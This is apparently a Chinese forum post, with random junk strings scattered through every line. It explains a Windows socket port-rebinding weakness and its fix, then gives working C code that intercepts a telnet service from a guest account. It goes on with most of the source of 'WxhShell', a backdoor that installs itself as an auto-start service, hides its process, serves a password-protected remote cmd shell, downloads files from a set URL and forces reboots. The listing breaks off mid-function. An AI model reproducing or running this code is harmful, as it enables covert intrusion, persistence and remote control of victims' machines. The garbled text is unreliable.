在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5b B[o6+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
r/Pg,si k#%19B saddr.sin_family = AF_INET;
/$rS0@p nWZrB s
_ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
"`:#sF9S qc\o>$-:` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
PyHE>C% ?=IbiT 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
gr=ke #
#G#gB 这意味着什么?意味着可以进行如下的攻击:
O!f* @ yB.6U56 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
kXX RMR v%aD:%wlY@ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
5<w0*~Zd~ 33Mr9Doon 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
4
qW)R{% ,iPkx( 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
GZ'hj_2%< ((dG< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
.^kTb2$X l:@.D|(o3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
wU#Q>ut'% 9I RE@c 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
<{-DYRiN 6!Isz1.re #include
N7#GK]n%/} #include
YgWnPp #include
"Pys3=h #include
1<R
\V DWORD WINAPI ClientThread(LPVOID lpParam);
w\t{' int main()
&2\.6rb. {
<1jiU%!w WORD wVersionRequested;
2N,*S DWORD ret;
G8oQSo;D WSADATA wsaData;
\+Cp<Hv+ BOOL val;
I3s}t$`y( SOCKADDR_IN saddr;
8'cD K[L SOCKADDR_IN scaddr;
-`?V8OwY] int err;
d'-^VxO0 SOCKET s;
F37,u| SOCKET sc;
<I|ryPU9{X int caddsize;
hG;u8|uT^i HANDLE mt;
V
u!,tpa. DWORD tid;
AARhGx|L< wVersionRequested = MAKEWORD( 2, 2 );
wOk:Q4OjL err = WSAStartup( wVersionRequested, &wsaData );
$9J"r9@@ if ( err != 0 ) {
Y0hL_46> printf("error!WSAStartup failed!\n");
H{GbOI. return -1;
rz.`$b }
N]=.I saddr.sin_family = AF_INET;
,zw 0^[$0]Mt[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ZK'I$p]b 03#_ ( saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
lp]O8^][& saddr.sin_port = htons(23);
?)PcYrV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
A qm0|GlJ {
L"b5P2{c printf("error!socket failed!\n");
j/Kw-h ,5" return -1;
Kc{wv/6}T }
uuC/F_='B val = TRUE;
{jq-dL //SO_REUSEADDR选项就是可以实现端口重绑定的
n+i}>3'A if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
H5aUZ= {
?QMs< printf("error!setsockopt failed!\n");
A=3U4L return -1;
)t.q[O` }
>ab=LDoM //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=Tj0dfO|" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
n_+Iw,a'm //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
3sw1y ~|!lC}!IKL if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
eeX>SL5'i {
0!zWXKX ret=GetLastError();
DuFlN1Z printf("error!bind failed!\n");
JL$RBr return -1;
O,;SA }
N!va12 listen(s,2);
G
dooy~cn while(1)
<<xJ-N {
e'?(`yW> caddsize = sizeof(scaddr);
U--ER
r8 //接受连接请求
[zfGDMG& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
oy
|@m|J if(sc!=INVALID_SOCKET)
~lL($rE {
1GNAx\( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
" h#=ctCx" if(mt==NULL)
F`N*{at {
nAYjSE printf("Thread Creat Failed!\n");
/[-hJ=<Yb break;
u/zfx;K }
{p/m+m }
9PBmBP~ CloseHandle(mt);
a|>MueJ }
}qg!Um0 closesocket(s);
Tld{b WSACleanup();
G@(7d1){ return 0;
R's xa*VB }
GQQ!3LwP\O DWORD WINAPI ClientThread(LPVOID lpParam)
JSL 3.J {
&0"`\~lA SOCKET ss = (SOCKET)lpParam;
O//e0?]W SOCKET sc;
#-`lLI:w0 unsigned char buf[4096];
cZ(XY} SOCKADDR_IN saddr;
"&ks83 long num;
g=%&p?1@E DWORD val;
v7R&9kU{ DWORD ret;
Il642#Gh //如果是隐藏端口应用的话,可以在此处加一些判断
(1o^Dn3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
<vrx8Q*6 saddr.sin_family = AF_INET;
Em7q@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
8?$2;uGL saddr.sin_port = htons(23);
jL8zH if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/IC'R"V a {
j{PX ~/ printf("error!socket failed!\n");
:8ZxO wwv return -1;
Q&J,"Vxw }
^/+sl-6/F val = 100;
?-f>zx8O if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Cr`
0C {
Yc$|"to ret = GetLastError();
fS~.K9 return -1;
1m0':n Vdu }
$1v5*E if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0v_8YsZ!`$ {
S;NXOsSu ret = GetLastError();
![ QQF| return -1;
zxh"@j$? }
=
` ^jz} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
gr;M
{
NR*SEbUU* printf("error!socket connect failed!\n");
7I|%GA_ closesocket(sc);
g U?) closesocket(ss);
1 W0; YcT] return -1;
0D'Wr(U( }
|^F-.Z while(1)
GXfVjC31z {
qkIU>b,B //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
UyQn onS //如果是嗅探内容的话,可以再此处进行内容分析和记录
o;[oy#aWl_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
'GFzI:Xr num = recv(ss,buf,4096,0);
]VvJ1Xn0 if(num>0)
W6~=?C send(sc,buf,num,0);
c;^ J!e else if(num==0)
coWB KWF break;
ff#-USK^R num = recv(sc,buf,4096,0);
9<#D0hh$ if(num>0)
BUb(BzC send(ss,buf,num,0);
ZwMw g t else if(num==0)
<-F"&LI{< break;
?@1'WD t }
p[b\x_0%c closesocket(ss);
P5>CSWy% closesocket(sc);
TI>yi ^} return 0 ;
V|AE~R^ }
1 XG-O MjpJAV/84 pd#/;LT ==========================================================
b5DrwX{Ff AJT0)FCpR 下边附上一个代码,,WXhSHELL
v\ Ljm,+ 6"7qZq ==========================================================
z'lNO| nU Iqsk\2W]a3 #include "stdafx.h"
qC )VT3 L?0l1P #include <stdio.h>
F(<8:`N;G #include <string.h>
/>C~a]} #include <windows.h>
}kj6hnQ #include <winsock2.h>
L|X5Ru #include <winsvc.h>
:j~5(K" #include <urlmon.h>
7m M;Q {rT`*P~ #pragma comment (lib, "Ws2_32.lib")
u3vmC:bV #pragma comment (lib, "urlmon.lib")
to3J@:V8e d<'xpdxc #define MAX_USER 100 // 最大客户端连接数
|Z ,G
#define BUF_SOCK 200 // sock buffer
Wv"tAseu #define KEY_BUFF 255 // 输入 buffer
kre&J 2?QJh2 #define REBOOT 0 // 重启
4*x!B![]y #define SHUTDOWN 1 // 关机
PAHlj,n) sh ;uKzQ #define DEF_PORT 5000 // 监听端口
3ZlI$r( &>e DCs #define REG_LEN 16 // 注册表键长度
iI*7WO[W #define SVC_LEN 80 // NT服务名长度
8(>.^667 er0D5f R // 从dll定义API
yf) `jPM1< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
<+gl"lG typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
` a>vPW typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
v=tj.Vg typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_m],(J=,z %v[Kk-d // wxhshell配置信息
1v&Fo2ML struct WSCFG {
?Z>.G{Wm@ int ws_port; // 监听端口
vC:b?0s #( char ws_passstr[REG_LEN]; // 口令
AiZFvn[n8 int ws_autoins; // 安装标记, 1=yes 0=no
R`2A-c char ws_regname[REG_LEN]; // 注册表键名
L]d@D0.Z char ws_svcname[REG_LEN]; // 服务名
W(h8!} char ws_svcdisp[SVC_LEN]; // 服务显示名
.gGvyscdH; char ws_svcdesc[SVC_LEN]; // 服务描述信息
N-`;\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
hXm}d\ int ws_downexe; // 下载执行标记, 1=yes 0=no
,dx)rZ* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
m>ycN char ws_filenam[SVC_LEN]; // 下载后保存的文件名
s &hA P]"deB| };
P/Kit?kngS oDP((I2- // default Wxhshell configuration
</gp3WQ. struct WSCFG wscfg={DEF_PORT,
X5Y
`(/V "xuhuanlingzhe",
e({fY.)SGo 1,
S2E HmE& "Wxhshell",
hw$c@:pW; "Wxhshell",
JGcD{RU| "WxhShell Service",
E[.tQ|C "Wrsky Windows CmdShell Service",
br Z,s "Please Input Your Password: ",
/;AZ/Ocy! 1,
1G%PXrEj8 "
http://www.wrsky.com/wxhshell.exe",
l&*)r;9 "Wxhshell.exe"
\bm6/fhA: };
=`~Z@IbdI t3t0vWE<, // 消息定义模块
kQVDC,d char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~9r!m5ws char *msg_ws_prompt="\n\r? for help\n\r#>";
QaWHz
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
k0_$M{@Y char *msg_ws_ext="\n\rExit.";
qQOD char *msg_ws_end="\n\rQuit.";
_1<'"u#6w char *msg_ws_boot="\n\rReboot...";
K;p<f{PE char *msg_ws_poff="\n\rShutdown...";
BD7@Mj*| char *msg_ws_down="\n\rSave to ";
Pzp+I} pXh~#o6V char *msg_ws_err="\n\rErr!";
&3Z.
#* char *msg_ws_ok="\n\rOK!";
&4Con%YU[ .l+~)$ char ExeFile[MAX_PATH];
d:hL
)x int nUser = 0;
P5>5ps"iU HANDLE handles[MAX_USER];
`%M-7n9Y int OsIsNt;
!?o$-+a| ^YR|WK Y SERVICE_STATUS serviceStatus;
oD#>8Aw s SERVICE_STATUS_HANDLE hServiceStatusHandle;
7sc<dM R
pI<]1 // 函数声明
ggI=I<7M int Install(void);
s)YP%vn# int Uninstall(void);
Y^2Qxo3"3 int DownloadFile(char *sURL, SOCKET wsh);
u:$x6/t int Boot(int flag);
j-YJ." void HideProc(void);
96pk[5lj{? int GetOsVer(void);
Tz[?gF.Do int Wxhshell(SOCKET wsl);
kAN;S<jSE void TalkWithClient(void *cs);
eR-=<0Iw; int CmdShell(SOCKET sock);
y[p$/$bgC5 int StartFromService(void);
ml.;wB| int StartWxhshell(LPSTR lpCmdLine);
3z)"U LxlbD#<V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$54=gRo^ VOID WINAPI NTServiceHandler( DWORD fdwControl );
<D!c
~*[ /3Nb // 数据结构和表定义
H5rPq_R SERVICE_TABLE_ENTRY DispatchTable[] =
P:(EU s}0 {
n2d8;B# {wscfg.ws_svcname, NTServiceMain},
N3gNOq& {NULL, NULL}
/Y[o=Uyl };
-nk#d%a\ d)0LVa( // 自我安装
rjL?eTU"s int Install(void)
ZP6x {
'Z.OF5|eGT char svExeFile[MAX_PATH];
a,~D+s;^ HKEY key;
sr+gD*@h strcpy(svExeFile,ExeFile);
5BHOHw D{
dGsS<@G // 如果是win9x系统,修改注册表设为自启动
hA*Z'.[ if(!OsIsNt) {
gf3U#L}P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
C~{NKMeC/m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
K2xH'v
O ( RegCloseKey(key);
.vN%UNu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2K]IlsMO& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y:%m;b$] RegCloseKey(key);
`M?v!]o return 0;
g={]Mzh }
NTm<6Is` }
mN\%fJ7 }
|
"Jx else {
j?\$G.Y gT(th9'+z // 如果是NT以上系统,安装为系统服务
d$fvg8^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
"($Lx if (schSCManager!=0)
7-".!M {
6[*;M SC_HANDLE schService = CreateService
SqXy;S@ (
%'L].+$t schSCManager,
djsz!$ wscfg.ws_svcname,
eQU-&-wt0 wscfg.ws_svcdisp,
Q`S iV SERVICE_ALL_ACCESS,
1mHwYT+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ofMu3$Q SERVICE_AUTO_START,
qGnPnQc SERVICE_ERROR_NORMAL,
By?nd) svExeFile,
-RG8<bI, NULL,
P>*Fj4Z~ NULL,
}+Rgx@XZ\ NULL,
.[T'yc:= NULL,
/!=U+X NULL
@up&q );
7
9Qc`3a if (schService!=0)
5/B#) gm {
D:wnO|: CloseServiceHandle(schService);
+`;+RDKY* CloseServiceHandle(schSCManager);
0A#*4ap strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>vWEUE[ strcat(svExeFile,wscfg.ws_svcname);
U~uwm/h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
6FL?4>MZ
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
5vD3K!\u RegCloseKey(key);
J| SwQE~ return 0;
6OL41g' }
YBX)eWslK }
(U|)xA]y! CloseServiceHandle(schSCManager);
dqqnCXYuW }
vv+TKO }
^Xs%.`Gv/ )|y#OZHR return 1;
HLjvKE=W }
$!!R:Wn/R \U/v;Ijf // 自我卸载
{(rf/:X!p int Uninstall(void)
X*pZNz&E {
tg~A}1o`0 HKEY key;
7\IL C,o: if(!OsIsNt) {
VmN}FMGN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
DH5bpg&T RegDeleteValue(key,wscfg.ws_regname);
HSNOL RegCloseKey(key);
m6b$Xyq[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Iq{o-nq RegDeleteValue(key,wscfg.ws_regname);
Z6
;Wd_ RegCloseKey(key);
O\6vVM[ return 0;
bqSMDK }
glv ;C/l }
}@d>, 1DU }
pe|X@o else {
N83!C=X' l+%Fl=Q2em SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
SOVjEo4'3 if (schSCManager!=0)
>Q;
g0\I_ {
wHx}U M" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
:^n*V6.4 if (schService!=0)
'X9AG6K1 {
lM>.@: if(DeleteService(schService)!=0) {
:-z&Y492 CloseServiceHandle(schService);
rwy+~ CloseServiceHandle(schSCManager);
H4t)+(:D' return 0;
/vHYM S }
d$pYo)8o({ CloseServiceHandle(schService);
dUIqD l }
8qn 9| CloseServiceHandle(schSCManager);
xcst<= }
Us'Cs+5XcG }
4S tjj!ew iHPUmTus-- return 1;
Z a!
gbt }
~p:?QB>1]
6
jmrD // 从指定url下载文件
yq?]V7~ int DownloadFile(char *sURL, SOCKET wsh)
kd yAl, {
Tr~sieL HRESULT hr;
rWA6XDM7 char seps[]= "/";
`M:DZNy, char *token;
@Tm`d ?^ char *file;
}3Qc 24` char myURL[MAX_PATH];
@K\o4\ char myFILE[MAX_PATH];
sm0fAL E>E*ZZuhj strcpy(myURL,sURL);
H<g 1m token=strtok(myURL,seps);
/jM_mrpz while(token!=NULL)
i0>]CJG {
!$_~x
8K1- file=token;
>z(wf>2J token=strtok(NULL,seps);
'r\ 4}Ik }
%,0%NjK OVZP x%a GetCurrentDirectory(MAX_PATH,myFILE);
K*1.'9/ strcat(myFILE, "\\");
6ZcXS strcat(myFILE, file);
oe9lF*$/ send(wsh,myFILE,strlen(myFILE),0);
&:<, c12 send(wsh,"...",3,0);
1RLym9JN hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`{[RjM` if(hr==S_OK)
UbO4%YHt return 0;
5Tedo~v else
X3<K 1/< return 1;
|#k@U6`SG }AlYNEY }
onwjn+"& /&r|ec5 // 系统电源模块
+"dv7 int Boot(int flag)
KFU%DU G {
TkRmV6'w HANDLE hToken;
0Qnd6mb TOKEN_PRIVILEGES tkp;
\9`#]#1bx5 -U>y if(OsIsNt) {
7/aOsW"6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
?F_)- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
H]&gW/= tkp.PrivilegeCount = 1;
Or8kp/d tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
E$A3|rjnoN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
~Wei|,w'< if(flag==REBOOT) {
/`3#4=5- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
FQk!d$BG return 0;
?{6s58Q{ }
kJT+ else {
i7 w(S3a if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
H}/05e return 0;
Wpr
,jN8b }
uR$i48} }
.t= else {
BRzfic:e if(flag==REBOOT) {
0J9D"3T) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
\vRd} return 0;
GSi>l,y' }
"hQgLG else {
#$E)b:xj if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
jo9gCP. return 0;
lyv4fP }
O$D?A2eI }
;SY\U7B\ aJzLrX return 1;
cE\>f8 I }
-DjJ",h( $ mV)+qXC // win9x进程隐藏模块
pr&=n;_ n void HideProc(void)
/<{: I \< {
]JXKZV8$0 [M%._u, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
dg_G s>?2 if ( hKernel != NULL )
> 'i {
A6!F@Ic[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
A&"%os ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^x m$EY*Y, FreeLibrary(hKernel);
YlF%UPp }
H,y4`p 0 tU:EN;H return;
\+ 0k+B4a }
=5x&8i Lja 7 // 获取操作系统版本
!RH.|} int GetOsVer(void)
/.1.MssQM {
yK%ebq] OSVERSIONINFO winfo;
KzV 2MO-$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
f0>!qt GetVersionEx(&winfo);
k|xtr&1N.! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
F(,UA+$A return 1;
Iz@)!3h else
Fmr}o(q1 return 0;
yN6>VD{F }
Vzl^Ka' VIJ<``9[ // 客户端句柄模块
!EIjN
int Wxhshell(SOCKET wsl)
1P(&J {
rsXq- Pq* SOCKET wsh;
p B;3bc struct sockaddr_in client;
OI}cs2m DWORD myID;
&(N+.T5cp .@ F]Pht while(nUser<MAX_USER)
=
ieag7! {
~j9O$s~) int nSize=sizeof(client);
=]C]= wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
O"G >wv if(wsh==INVALID_SOCKET) return 1;
rXfy!rD_P_ bm% $86 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
}"^'%C8EX if(handles[nUser]==0)
9DQa
PA6 closesocket(wsh);
VQ#3#Hj else
tmUFT nUser++;
|r%D\EB }
OEx^3z^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
hC <O`|lF v<Kmq-b return 0;
U}k9 Py }
=#gEB#$x: wU\s;
dK // 关闭 socket
4m)OR void CloseIt(SOCKET wsh)
jPZaD>! {
67SV~L#%O closesocket(wsh);
n\z,/'d" nUser--;
Z|"p*5O, ExitThread(0);
j _L@U2i }
wV\gj~U;P d5 7i)= // 客户端请求句柄
$(e#aHB void TalkWithClient(void *cs)
X;v$5UKU {
'6y}ZE[ MY#
SOCKET wsh=(SOCKET)cs;
G uQ=gN char pwd[SVC_LEN];
UFAL1c<V char cmd[KEY_BUFF];
Xce0~\_A char chr[1];
>K9#3
4hP int i,j;
4;`oUt'. V'*~L\;pU while (nUser < MAX_USER) {
!`41q=r l>*"mh if(wscfg.ws_passstr) {
y\dEk:\) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%\|'%/"`2( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
o6
E!IX+ //ZeroMemory(pwd,KEY_BUFF);
R218(8S i=0;
B/~%h | while(i<SVC_LEN) {
&`0/CV \.YS%"Vz // 设置超时
)WT>@ fd_set FdRead;
@Z>ZiU,^ struct timeval TimeOut;
'52~$z#m FD_ZERO(&FdRead);
w}Uhd, FD_SET(wsh,&FdRead);
o*U]v
TimeOut.tv_sec=8;
!l]dR@e TimeOut.tv_usec=0;
Wjhvxk int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
&nBa=Enf if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
J]f3CU,<N <\kr1qHH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_4^R9Bt pwd
=chr[0]; AKMm&(fh%
if(chr[0]==0xd || chr[0]==0xa) { ^P151*=D
pwd=0; nWQ;9_qBB
break; !*6CWV0
} `;%]'F0`
i++; #Zrlp.M4
} =] *.ZH#h
mU}F!J#6
// 如果是非法用户,关闭 socket 4jD2FFG-
G
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {43>m)8+
} Y%`xDI
Uf}\p~;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C4TE-OM8
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s(X;Eha
P(F+f`T
while(1) { |$5[(6T|
3U_2! zF3_
ZeroMemory(cmd,KEY_BUFF); a7N!B' y
3Zi@A4Wu
// 自动支持客户端 telnet标准 da)NK!
j=0; -B86U6^s
while(j<KEY_BUFF) { ^%O]P`$
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xhcK~5C
cmd[j]=chr[0]; ZXm/A0)S
if(chr[0]==0xa || chr[0]==0xd) { Y ')x/H
cmd[j]=0; 0}_[DAd6
break; giz7{Ai
} qucq,Yw
j++; s%<eD
} \7CGUB>L
ai0XL}!+
// 下载文件 &x3VCsC\|
if(strstr(cmd,"http://")) { w^t/9Nasi
send(wsh,msg_ws_down,strlen(msg_ws_down),0); :9k Ty:
if(DownloadFile(cmd,wsh)) fW?o@vlO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )"pF R4
else uu`G 2[t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S~|T4q(
} @')[FEdW
else { 9-MUX^?u
7hsGu a
switch(cmd[0]) { jy'13G/b\
z[Xd%mhjO
// 帮助 P#AW\d^"B
case '?': { TqnTS0fx
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >y,-v:Vy
break; %n*-VAfE\
} D-c`FG'
// 安装 ~ 0M'7q'
case 'i': { P-9<YN
if(Install()) %$b:X5$Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z*-2.}&U<
else A{A\RSZ0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?!+MM&c-n
break; [UH||qW
} NX}<*b/
// 卸载 0=?<y'=
case 'r': { @Z12CrJ
if(Uninstall())
P
Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t2)rUWg
else =uS9JU^E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;n
7/O5M|
break; w4gJoxY-`
} /HaHH.e
// 显示 wxhshell 所在路径 vd[0X;
case 'p': { 4M2j!Sw
char svExeFile[MAX_PATH]; *6>.!&
strcpy(svExeFile,"\n\r"); >G%o,9i
strcat(svExeFile,ExeFile); dUhY\v oQ
send(wsh,svExeFile,strlen(svExeFile),0); %rv7Jy
break; t;}:waZD
} `7r@a
// 重启 maNl^i
case 'b': { 3eF-8Z(f
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sc}~8T
if(Boot(REBOOT)) Sn|BlXrey
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X<I+&Zi
else { GaK-t*Q
closesocket(wsh); e7sp =I,
ExitThread(0); <P=twT;P
} qHrc9fB
break; +8Rg F
} Kkm>e{0)AY
// 关机 ++^l]8
case 'd': { B&n<M]7
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]jo1{IcI
if(Boot(SHUTDOWN)) 0E3[N:s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xjKR R?
else { GU( _
closesocket(wsh); `)_dS&_\
ExitThread(0); r2,.abo
} N(Fp0
break; Tu).K.p:
} AHX St
// 获取shell LhA/xf
case 's': { pu2tY7Ja
CmdShell(wsh); )mF5Vw"
closesocket(wsh); @}}$zv6l,
ExitThread(0); ;6>2"{NW
break; ]7Tkkw$
} YTUZoW2
// 退出 H}hiT/+$
case 'x': { `)T13Xv
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KbA?7^zo`
CloseIt(wsh); )-a'{W/t
break; &E.^jR~*
} ewctkI$,5
// 离开 +JjW_Rl?=V
case 'q': { n[lJLm^(_C
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^\4h<M
closesocket(wsh); B><d9d
WSACleanup(); iKX-myCz
exit(1); ]&lY%"U$i
break; _./Sk|C
} 1;Ou7T9w
} wea-zN
} b4[bL2J$h1
{xXsBh
Y
// 提示信息 >n'o*gZM
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1H6<[iHW
} onz?_SAW
} snobT Q
`4=^cyt+
return; 1_PoqD!q
} &,{fw@#)_
M
l Jo`d
// shell模块句柄 _`&m\Qe>
int CmdShell(SOCKET sock) 1v.c 6~
{ )u[emv$
STARTUPINFO si; A kC1z73<
ZeroMemory(&si,sizeof(si)); $4h 5rC g0
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;f#v0W`5
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PQ5QA61
PROCESS_INFORMATION ProcessInfo; }dgfqq
char cmdline[]="cmd"; 4T|b
Cs?e
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kmP]SO?tx
return 0; >=:&D)m"
} "s0)rqf<
2$+bJJM
// 自身启动模式 WW4vn|0v
int StartFromService(void) v%+:/m1
{ hT`J1nNt
typedef struct O}-jCW;K
{ zzTfYf)
DWORD ExitStatus;
e2s]{obf
DWORD PebBaseAddress; u0|8Tgf
DWORD AffinityMask; }B\a<0L/
DWORD BasePriority; X' H[7 ^W
ULONG UniqueProcessId; RJ 8+h
ULONG InheritedFromUniqueProcessId; dCi?SIN
